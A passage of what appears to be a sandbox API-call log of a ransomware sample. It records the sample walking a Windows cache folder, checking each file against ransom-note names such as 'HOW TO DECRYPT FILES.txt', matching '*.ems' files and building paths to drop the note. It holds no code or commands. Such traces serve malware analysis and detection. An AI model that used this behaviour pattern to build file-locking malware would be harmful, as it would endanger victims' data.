lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" [0086.982] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", pszSpec="*.ems") returned 0 [0086.982] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0086.982] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.982] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 1 [0086.982] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned 1 [0086.982] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned -1 [0086.982] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" [0086.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.983] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.983] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.983] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.983] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" [0086.983] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", pszSpec="*.ems") returned 0 [0086.983] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0086.984] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.984] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 1 [0086.984] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned 1 [0086.984] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned -1 [0086.984] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" [0086.984] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.984] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.984] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.984] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.984] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" [0086.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", pszSpec="*.ems") returned 0 [0086.984] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0086.985] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.985] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 1 [0086.985] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned 1 [0086.985] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned -1 [0086.985] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" [0086.985] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.985] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.985] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.985] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.985] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" [0086.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", pszSpec="*.ems") returned 0 [0086.985] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0086.986] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.986] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 1 [0086.986] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned 1 [0086.986] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned -1 [0086.986] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" [0086.986] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.986] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.986] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.986] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.986] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" [0086.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", pszSpec="*.ems") returned 0 [0086.986] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0086.986] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.987] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 1 [0086.987] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned 1 [0086.987] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned -1 [0086.987] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30" [0086.987] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.987] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.987] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.987] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.987] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" [0086.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", pszSpec="*.ems") returned 0 [0086.987] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0086.988] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.988] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 1 [0086.988] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned 1 [0086.988] lstrcmpiA (lpString1="", lpString2="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned -1 [0086.988] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" [0086.988] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.988] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.988] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.988] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.988] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" [0086.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", pszSpec="*.ems") returned 0 [0086.988] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0086.988] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.988] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 1 [0086.989] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned 1 [0086.989] lstrcmpiA (lpString1="", lpString2="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned -1 [0086.989] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS 